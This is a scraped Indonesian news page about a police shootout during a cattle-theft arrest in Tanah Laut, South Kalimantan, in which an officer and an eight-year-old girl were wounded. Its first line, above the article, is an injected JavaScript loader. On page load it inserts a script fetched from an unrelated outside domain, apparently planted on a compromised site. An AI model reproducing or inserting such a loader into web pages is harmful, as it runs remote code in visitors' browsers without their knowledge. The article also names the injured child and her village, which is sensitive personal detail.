(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Kasus baku tembak saat penangkapan pencuri sapi di Tanah Laut (Tala), tak hanya meneyebabkan jatuhnya korban polisi yakni Brigadir Edi Rapi Susanto. Tapi juga warga sipil, Novianti (8) asal Desa Batu Tungku Kecamatan Panyipatan. Novianti, mengalami luka bagian kepala depan sebelah kanan.
Namun dari informasi yang dihimpun tim kanalkalimantan.com, saat ini kondisi Novianti yang dirawat di RS Ciputra Mitra, sudah stabil. “Iya benar korban ke rumah sakit ini, tapi kita tidak memperbolehkan (masuk) sekarang. Biar pasiesn istirahat. Kalau mau coba siang nanti,” kata Idris A, satpam yang berjaga di RS tersebut.
Sebelumnya, Novianti ada dalam mobil yang dipakai tersangka Khairullah. Belum jelas, bagaimana korban bisa ada di dalam mobil tersebut. Di mobil Innova dengan nopol DA 8372 BH, didapati 3 orang penumpag (1 dewasa atasnama Irwansyah, dan 2 anak kecil laki-laki atasnama Gazali Akbar dan seorang anak perempuan atas nama Novianti binti Pariyono.) Mereka warga desa Batu Tungku Kecamatan Panyipatan dengan posisi duduk. Dan anak perempuan atasnama Novianti terluka tembak di bagian kepala depan sebelah kanan.
Pada Sabtu (7/9) sekira jam 12.00 WIB, tim Resmob 2 Polres menuju ke sasaran rumah tersangka dengan sebelumnya mampir di Polsek Panyipatan. Kemudian 1 anggota intel Polsek dan 1 anggota eskrim Polres Pulang Pisau mengecek keberadaan tersangka di rumahnya.
Setelah dilihat bahwa di rumah tersebut ada mobil tersangka (sama dengan mobil yang dilihat saksi di TKP pencurian sapi), 2 anggota tetrsebut kembali ke Mapolsek untuk berkoordinasi guna melakukan penangkapan. Usai berkoordinasi dengan sisa tim lainnya, tim berangkat menuju rumah tersangka menggunakan 3 mobil mendekati rumah tersangka. Tim melihat mobil tersangka keluar dari rumah kemudian dikejar.
Sekira jarak 1,5 km dari rumah tersangka, 2 mobil anggota mendahului mobil tersangka dan 1 mobil anggota mengepung dari arah belakang lalu memblokade jalannya mobil tersangka. Mengingat saat penyelidikan di dapatkan informasi bahwa tersangka memiliki 1 pucuk senjata api genggam rakitan dan 1 pucuk senjata laras panjang, maka anggota setelah memblokade memerintahkan untuk penumpang turun dan memberikan tembakan peringatan.
Namun ternyata, dari dalam mobil terdengar suara tembakan dan mengenai punggung bawah kiri Brigadir Edi Rapi Susanto, anggota Intel Polsek Panyipatan yang turut membackup giat penangkapan. Begitu juga dengan Novianti yang mengalami luka.(mario)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.